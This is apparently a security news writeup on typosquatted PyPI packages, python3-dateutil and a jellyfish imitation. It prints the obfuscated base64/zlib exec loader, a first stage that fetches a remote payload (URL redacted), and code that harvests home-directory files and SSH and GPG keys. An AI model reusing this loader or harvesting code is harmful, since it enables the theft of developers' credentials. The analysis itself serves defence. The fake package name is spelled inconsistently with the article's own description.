Python's popularity is amazing and constantly growing. For the first time, Python has overtaken Java to take second place in GitHub's general rankings. The more developers use that language in their projects, the more attention it gets from cybercriminals using typosquatting tactics in library names. Thanks to Lukas Martini's recent finding, two packages were removed from the PyPI repository (perhaps the pip command is more familiar to most of you).
The malicious library python3-dateutil was placed in the repository just a few days earlier, on 29 November 2019, and was downloaded 381 times before being spotted. Not a bad score for two days of availability. The second library, ieillyfish, had been uploaded at least half a year earlier, and the number of downloads was similar for that period. The typosquatting consisted of replacing the first letter l with an uppercase I in the word jellyfish.
The name python3-dateutil pretended to be the legitimate python-dateutil package with just the python3 prefix. Both libraries were created by the same person, olgired2017, which was also used for the GitLab account.
Both files contained the same malicious code:
ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='
ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
exec(ZAUTHSS)
Obfuscated code, base64 plus zlib compression, was added to the original code and published as a fake library clone. The deobfuscated code looked like this:
>>> ZAUTHSS = base64.b64decode(ZAUTHSS)
>>> ZAUTHSS = zlib.decompress(ZAUTHSS)
>>> print(ZAUTHSS.decode('utf-8'))
# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S
import re, sys, os
_out, _err = sys.stdout, sys.stderr
sys.stdout, sys.stderr = open(os.devnull, 'wb'), open(os.devnull, 'wb')
try:
try:
from urllib2 import urlopen
except:
from urllib.request import urlopen
raw = urlopen('REDACTED_SHORT_URL').read().decode('utf-8')
packed = re.sub(r'[^0-9abcdef]', '', raw, flags=re.MULTILINE)
# the original unpacked and executed this result
except:
pass
sys.stdout, sys.stderr = _out, _err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2
Between two comment sections, extra obfuscation perhaps, urllib2 collected another payload. A Bitly URL redirected to the author's GitLab page and fetched the real Python payload, named hashsum. It was no longer available when the original article was published. According to Bitly statistics, the link had been visited at least 740 times.
The second stage collected a list of files from the home directory, Documents, Downloads and PycharmProjects. More seriously, it also collected GPG and SSH keys.
Deobfuscated snippet of the hashsum payload:
home = os.path.expanduser("~")
if os.path.exists(home):
data.add(home)
data.add('\n ### 1 ls home')
data.add('\n '.join(list_dir(home)))
data.add('\n ### 2 ls Documents')
data.add('\n '.join(list_dir(os.path.join(home, 'Documents'))))
data.add('\n ### 3 ls Downloads')
data.add('\n '.join(list_dir(os.path.join(home, 'Downloads'))))
data.add('\n ### 4 ls PycharmProjects')
data.add('\n '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
data.add('\n ### 5 save home files')
save_files(home)
data.add('\n ### 6 save .ssh files')
save_files(os.path.join(home, '.ssh'))
data.add('\n ### 7 save gpg keys')
save_files(os.path.join(home, '.gnupg'))
data.add('\n ### 8 save target')
save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
data.add('\n ### 9 end :)')
# IP lookup and collector POST redacted
The attacker collected information about the victim's connection, such as IP and country, then sent the prepared data to a collection server. The intention was to review the contents of local directories and use GPG and SSH keys to access selected project repositories.
Project owners should verify that their projects use the correct library names. If a project used a typosquatted version by accident, all SSH and GPG keys should be changed immediately.